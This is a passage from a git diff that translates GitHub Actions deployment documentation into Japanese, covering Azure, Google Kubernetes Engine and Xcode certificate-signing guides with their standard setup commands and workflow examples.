        --runtime "python|3.8"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   上のコマンドで、パラメータは自分の値で置き換えてください。`MY_WEBAPP_NAME`はWebアプリケーションの新しい名前です。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -59,13 +59,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
+ワークフローの`env`キー中の`AZURE_WEBAPP_NAME`を、作成したWebアプリケーションの名前に設定してください。 If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -99,7 +99,7 @@ jobs:
         run: |
           python -m venv venv
           source venv/bin/activate
-      
+
       - name: Set up dependency caching for faster installs
         uses: actions/cache@v2
         with:
@@ -142,10 +142,10 @@ jobs:
           publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* Webアプリケーションのデプロイに使われたアクションは、公式のAzure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy)アクションです。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
index f6ab7573d2..544472fb05 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/).
 
@@ -30,17 +30,17 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see "[Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" and "[Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" in the Azure documentation.
 
 1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret).
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository.
 
@@ -87,7 +87,7 @@ jobs:
         inlineScript: |
           az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}
           az acr build -t  -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
-    
+
     - name: Gets K8s context
       uses: azure/aks-set-context@4e5aec273183a197b181314721843e047123d9fa
       with:
@@ -117,10 +117,10 @@ jobs:
           {% raw %}${{ env.PROJECT_NAME }}{% endraw %}
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
-* For the original starter workflow, see [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* For the original starter workflow, see [`azure-kubernetes-service.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
 * The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions.
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
index cc6a363133..771cb23141 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/).
 
@@ -30,17 +30,17 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
-1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation. 
+1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation.
 
 2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation.
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed.
 
@@ -104,9 +104,9 @@ jobs:
           action: "close"
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
 * The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
index 293638875e..fff824b76c 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
@@ -1,7 +1,7 @@
 ---
 title: Deploying to Azure
 shortTitle: Deploy to Azure
-intro: Learn how to deploy to Azure App Service, Azure Kubernetes, and Azure Static Web App as part of your continuous deployment (CD) workflows.
+intro: 'Learn how to deploy to Azure App Service, Azure Kubernetes, and Azure Static Web App as part of your continuous deployment (CD) workflows.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,3 +17,4 @@ children:
   - /deploying-to-azure-static-web-app
   - /deploying-to-azure-kubernetes-service
 ---
+
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
index 6782f10b34..6c41652ffe 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Google Kubernetes Engine
-intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows.
+title: Google Kubernetes Engineへのデプロイ
+intro: 継続的デプロイメント（CD）ワークフローの一部として、Google Kubernetes Engineへのデプロイを行えます。
 redirect_from:
   - /actions/guides/deploying-to-google-kubernetes-engine
   - /actions/deployment/deploying-to-google-kubernetes-engine
@@ -20,72 +20,72 @@ shortTitle: Deploy to Google Kubernetes Engine
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch.
 
-GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
+GKEはGoogle CloudによるマネージドなKubernetesクラスタサービスで、コンテナ化されたワークロードをクラウドもしくはユーザ自身のデータセンターでホストできます。 詳しい情報については[Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine)を参照してください。
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**注釈**: {% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
+ワークフローの作成に進む前に、Kubernetesプロジェクトについて以下のステップを完了しておく必要があります。 このガイドは、プロジェクトのルートに`Dockerfile`とKubernetes Deployment設定ファイルがすでに存在することを前提としています。 例としては[google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke)を参照してください。
 
-### Creating a GKE cluster
+### GKEクラスタの作成
 
-To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles:
+GKEクラスタを作成するには、まず`gcloud` CLIで認証を受けなければなりません。 このステップに関する詳しい情報については、以下の記事を参照してください。
 - [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login)
 - [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference)
-- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
+- [`gcloud` CLIとCloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
 
-For example:
+例:
 
 {% raw %}
 ```bash{:copy}
 $ gcloud container clusters create $GKE_CLUSTER \
-	--project=$GKE_PROJECT \
-	--zone=$GKE_ZONE
+    --project=$GKE_PROJECT \
+    --zone=$GKE_ZONE
 ```
 {% endraw %}
 
-### Enabling the APIs
+### APIの有効化
 
-Enable the Kubernetes Engine and Container Registry APIs. For example:
+Kubernetes Engine及びContainer Registry APIを有効化してください。 例:
 
 {% raw %}
 ```bash{:copy}
 $ gcloud services enable \
-	containerregistry.googleapis.com \
-	container.googleapis.com
+    containerregistry.googleapis.com \
+    container.googleapis.com
 ```
 {% endraw %}
 
-### Configuring a service account and storing its credentials
+### サービスアカウントの設定と資格情報の保存
 
-This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
+この手順は、GKEインテグレーション用のサービスアカウントの作成方法を示します。 It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
 
-1. Create a new service account:
+1. 新しいサービスアカウントを作成してください。
   {% raw %}
   ```
   $ gcloud iam service-accounts create $SA_NAME
   ```
   {% endraw %}
-1. Retrieve the email address of the service account you just created:
+1. 作成したサービスアカウントのメールアドレスを取得してください。
   {% raw %}
   ```
   $ gcloud iam service-accounts list
   ```
   {% endraw %}
-1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements.
+1. サービスアカウントにロールを追加してください。 ノート: 要件に合わせて、より制約の強いロールを適用してください。
   {% raw %}
   ```
   $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
@@ -95,7 +95,7 @@ This procedure demonstrates how to create the service account for your GKE integ
     --role=roles/container.clusterViewer
   ```
   {% endraw %}
-1. Download the JSON keyfile for the service account:
+1. サービスアカウントのJSONキーファイルをダウンロードしてください。
   {% raw %}
   ```
   $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL
@@ -113,8 +113,8 @@ This procedure demonstrates how to create the service account for your GKE integ
 
 Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
 
-### (Optional) Configuring kustomize
-Kustomize is an optional tool used for managing YAML specs. After creating a _kustomization_ file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage).
+### （オプション）kustomizeの設定
+Kustomizeは、YAML仕様を管理するために使われるオプションのツールです。 _kustomization_ ファイルの作成後、以下のワークフローを使用して、イメージのフィールドを動的に設定し、結果を `kubectl` にパイプすることができます。 詳しい情報については、「[kustomize の使い方](https://github.com/kubernetes-sigs/kustomize#usage)」を参照してください。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 ### (Optional) Configure a deployment environment
@@ -122,11 +122,11 @@ Kustomize is an optional tool used for managing YAML specs. After creating a _ku
 {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
-The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment.
+以下のワークフロー例は、コンテナイメージを作成して GCR にプッシュする方法を示しています。 次に、Kubernetes ツール（`kubectl` や `kustomize` など）を使用して、イメージをクラスタデプロイメントにプルします。
 
 Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image.
 
@@ -186,18 +186,18 @@ jobs:
           --build-arg GITHUB_REF="$GITHUB_REF" \
           .
 
-    # Push the Docker image to Google Container Registry
+    # Docker イメージを Google Container Registry にプッシュする
     - name: Publish
       run: |-
         docker push "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA"
 
-    # Set up kustomize
+    # kustomize を設定する
     - name: Set up Kustomize
       run: |-
         curl -sfLo kustomize https://github.com/kubernetes-sigs/kustomize/releases/download/v3.1.0/kustomize_3.1.0_linux_amd64
         chmod u+x ./kustomize
 
-    # Deploy the Docker image to the GKE cluster
+    # Docker イメージを GKE クラスタにデプロイする
     - name: Deploy
       run: |-
         ./kustomize edit set image gcr.io/PROJECT_ID/IMAGE:TAG=gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA
@@ -206,11 +206,11 @@ jobs:
         kubectl get services -o wide
 ```
 
-## Additional resources
+## 追加リソース
 
-For more information on the tools used in these examples, see the following documentation:
+これらの例で使用されているツールの詳細については、次のドキュメントを参照してください。
 
 * For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
-* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/).
-* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/).
-* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation.
+* その他のスターターワークフローと付随するコードについては、Google の[{% data variables.product.prodname_actions %}ワークフローの例](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/)を参照してください。
+* Kubernetes YAML のカスタマイズエンジンは、「[Kustomize](https://kustomize.io/)」を参照してください。
+* Google Kubernetes Engine のドキュメントにある「[コンテナ化された Web アプリケーションのデプロイ](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)」を参照してください。
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/index.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/index.md
index 56c61d9b6d..a31cb4f532 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/index.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/index.md
@@ -12,3 +12,4 @@ children:
   - /deploying-to-azure
   - /deploying-to-google-kubernetes-engine
 ---
+
diff --git a/translations/ja-JP/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/translations/ja-JP/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
index 754cefaf0a..2cfcc15ce7 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
@@ -1,6 +1,6 @@
 ---
-title: Installing an Apple certificate on macOS runners for Xcode development
-intro: 'You can sign Xcode apps within your continuous integration (CI) workflow by installing an Apple code signing certificate on {% data variables.product.prodname_actions %} runners.'
+title: Xcode 開発用の macOS ランナーに Apple 証明書をインストールする
+intro: '{% data variables.product.prodname_actions %} ランナーに Apple コード署名証明書をインストールすることで、継続的インテグレーション (CI) ワークフロー内で Xcode アプリケーションに署名できます。'
 redirect_from:
   - /actions/guides/installing-an-apple-certificate-on-macos-runners-for-xcode-development
   - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development
@@ -19,60 +19,60 @@ shortTitle: Sign Xcode applications
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to add a step to your continuous integration (CI) workflow that installs an Apple code signing certificate and provisioning profile on {% data variables.product.prodname_actions %} runners. This will allow you to sign your Xcode apps for publishing to the Apple App Store, or distributing it to test groups.
+このガイドでは、Apple コード署名証明書とプロビジョニングプロファイルを {% data variables.product.prodname_actions %} ランナーにインストールする継続的インテグレーション (CI) ワークフローにステップを追加する方法を説明しています。 これにより、Xcode アプリケーションに署名して、Apple App Store に公開したり、テストグループに配布したりできるようになります。
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
+YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、以下を参照してください。
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
+- [{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
 
-You should have an understanding of Xcode app building and signing. For more information, see the [Apple developer documentation](https://developer.apple.com/documentation/).
+Xcode アプリケーションのビルドと署名について理解しておく必要があります。 詳しい情報については、[Apple 開発者ドキュメント](https://developer.apple.com/documentation/)を参照してください。
 
-## Creating secrets for your certificate and provisioning profile
+## 証明書とプロビジョニングプロファイルのシークレットを作成する
 
-The signing process involves storing certificates and provisioning profiles, transferring them to the runner, importing them to the runner's keychain, and using them in your build.
+署名プロセスには、証明書とプロビジョニングプロファイルの保存、それらのランナーへの転送、ランナーのキーチェーンへのインポート、およびビルドでの使用が含まれます。
 
-To use your certificate and provisioning profile on a runner, we strongly recommend that you use {% data variables.product.prodname_dotcom %} secrets. For more information on creating secrets and using them in a workflow, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+ランナーで証明書とプロビジョニングプロファイルを使用するには、{% data variables.product.prodname_dotcom %} シークレットを使用することを強くお勧めします。 シークレットの作成とワークフローでの使用の詳細については、「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
 
-Create secrets in your repository or organization for the following items:
+次のアイテムのシークレットをリポジトリまたは Organization に作成します。
 
-* Your Apple signing certificate.
+* Apple の署名証明書。
 
-  - This is your `p12` certificate file. For more information on exporting your signing certificate from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/dev154b28f09).
-  
-  - You should convert your certificate to Base64 when saving it as a secret. In this example, the secret is named `BUILD_CERTIFICATE_BASE64`.
+  - これは `p12` 証明書ファイルです。 Xcode から署名証明書をエクスポートする方法の詳細については、[Xcode のドキュメント](https://help.apple.com/xcode/mac/current/#/dev154b28f09)を参照してください。
 
-  - Use the following command to convert your certificate to Base64 and copy it to your clipboard:
+  - 証明書をシークレットとして保存する場合は、証明書を Base64 に変換する必要があります。 この例では、シークレットの名前は `BUILD_CERTIFICATE_BASE64` です。
+
+  - 次のコマンドを使用して、証明書を Base64 に変換し、クリップボードにコピーします。
 
     ```shell
     base64 <em>build_certificate</em>.p12 | pbcopy
     ```
-* The password for your Apple signing certificate.
-  - In this example, the secret is named `P12_PASSWORD`.
+* Apple 署名証明書のパスワード。
+  - この例では、シークレットの名前は `P12_PASSWORD` です。
 
-* Your Apple provisioning profile.
+* Apple プロビジョニングプロファイル。
 
-  - For more information on exporting your provisioning profile from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/deva899b4fe5).
+  - Xcode からプロビジョニングプロファイルをエクスポートする方法の詳細については、[Xcode のドキュメント](https://help.apple.com/xcode/mac/current/#/deva899b4fe5)を参照してください。
 
-  - You should convert your provisioning profile to Base64 when saving it as a secret. In this example, the secret is named `BUILD_PROVISION_PROFILE_BASE64`.
+  - シークレットとして保存する場合は、プロビジョニングプロファイルを Base64 に変換する必要があります。 この例では、シークレットの名前は `BUILD_PROVISION_PROFILE_BASE64` です。
+
+  - 次のコマンドを使用して、プロビジョニングプロファイルを Base64 に変換し、クリップボードにコピーします。
 
-  - Use the following command to convert your provisioning profile to Base64 and copy it to your clipboard:
-  
     ```shell
     base64 <em>provisioning_profile.mobileprovision</em> | pbcopy
     ```
 
-* A keychain password.
+* キーチェーンのパスワード。
 
-  - A new keychain will be created on the runner, so the password for the new keychain can be any new random string. In this example, the secret is named `KEYCHAIN_PASSWORD`.
+  - ランナー上に新しいキーチェーンが作成されるため、新しいキーチェーンのパスワードは任意の新しいランダムな文字列にすることができます。 この例では、シークレットの名前は `KEYCHAIN_PASSWORD` です。
 
-## Add a step to your workflow
+## ワークフローにステップを追加する
 
-This example workflow includes a step that imports the Apple certificate and provisioning profile from the {% data variables.product.prodname_dotcom %} secrets, and installs them on the runner.
+このワークフロー例には、{% data variables.product.prodname_dotcom %} シークレットから Apple 証明書とプロビジョニングプロファイルをインポートし、それらをランナーにインストールするステップが含まれています。
 
 {% raw %}
 ```yaml{:copy}
@@ -119,13 +119,13 @@ jobs:
 ```
 {% endraw %}
 
-## Required clean-up on self-hosted runners
+## セルフホストランナーに必要なクリーンアップ
 
-{% data variables.product.prodname_dotcom %}-hosted runners are isolated virtual machines that are automatically destroyed at the end of the job execution. This means that the certificates and provisioning profile used on the runner during the job will be destroyed with the runner when the job is completed.
+{% data variables.product.prodname_dotcom %} ホストランナーは、ジョブの実行の最後に自動的に破棄される分離された仮想マシンです。 これは、ジョブ中にランナーで使用された証明書とプロビジョニングプロファイルが、ジョブの完了時にランナーとともに破棄されることを意味します。
 
-On self-hosted runners, the `$RUNNER_TEMP` directory is cleaned up at the end of the job execution, but the keychain and provisioning profile might still exist on the runner.
+セルフホストランナーでは、ジョブの実行の最後に`$RUNNER_TEMP` ディレクトリがクリーンアップされますが、キーチェーンとプロビジョニングプロファイルがランナーにまだ存在している可能性があります。
 
-If you use self-hosted runners, you should add a final step to your workflow to help ensure that these sensitive files are deleted at the end of the job. The workflow step shown below is an example of how to do this.
+セルフホストランナーを使用する場合は、ワークフローに最終ステップを追加して、ジョブの最後にこれらの機密ファイルが確実に削除されるようにする必要があります。 以下のワークフローステップは、これを行う方法の例です。
 
 {% raw %}
 ```yaml
diff --git a/translations/ja-JP/content/actions/deployment/index.md b/translations/ja-JP/content/actions/deployment/index.md
index 3117e8d507..025ae7767d 100644
--- a/translations/ja-JP/content/actions/deployment/index.md
+++ b/translations/ja-JP/content/actions/deployment/index.md
@@ -1,6 +1,6 @@
 ---
-title: Deployment
-shortTitle: Deployment
+title: デプロイメント
+shortTitle: デプロイメント
 intro: 'Automatically deploy projects with {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
diff --git a/translations/ja-JP/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/translations/ja-JP/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
index 17ecdbe875..2c7ba92a63 100644
--- a/translations/ja-JP/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
+++ b/translations/ja-JP/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing deployment history
-intro: View current and previous deployments for your repository.
+title: デプロイメント履歴の表示
+intro: リポジトリの現在と過去のデプロイメントの表示。
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,22 +8,22 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: View deployment history
+shortTitle: デプロイメント履歴の表示
 redirect_from:
   - /developers/overview/viewing-deployment-history
   - /actions/deployment/viewing-deployment-history
 ---
 
 
-You can deliver deployments through {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} and environments or with {% endif %}the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)."
+{% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %}及び環境、もしくは{% endif %}REST APIとサードパーティのアプリケーションを通じて、デプロイメントを配信できます。 {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %} REST APIでのデプロイメントに関する詳しい情報については、「[リポジトリ](/rest/reference/repos#deployments)」を参照してください。
 
-To view current and past deployments, click **Environments** on the home page of your repository.
+現在及び過去のデプロイメントを表示するには、リポジトリのホームページの** Environments（環境）**をクリックしてください。
 {% ifversion ghae %}
-![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
+![環境](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
 ![Environments](/assets/images/environments-sidebar.png){% endif %}
 
-The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
+デプロイメントページは、リポジトリの各環境の最新のアクティブなデプロイメントを表示します。 If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
 
-The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/deployments#inactive-deployments)."
+アクティビティログは、環境のデプロイメントの履歴を表示します。 デフォルトでは、環境の最新のデプロイメントだけが`Active`ステータスを持ち、すべての過去にアクティブだったデプロイメントは`Inactive`ステータスを持ちます。 デプロイメントの自動的な非アクティブ化に関する詳しい情報については「[デプロイメントの非アクティブ化](/rest/reference/deployments#inactive-deployments)」を参照してください。
 
-You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)."
+また、REST APIを使ってデプロイメントに関する情報を取得することもできます。 詳しい情報については「[リポジトリ](/rest/reference/repos#deployments)」を参照してください。
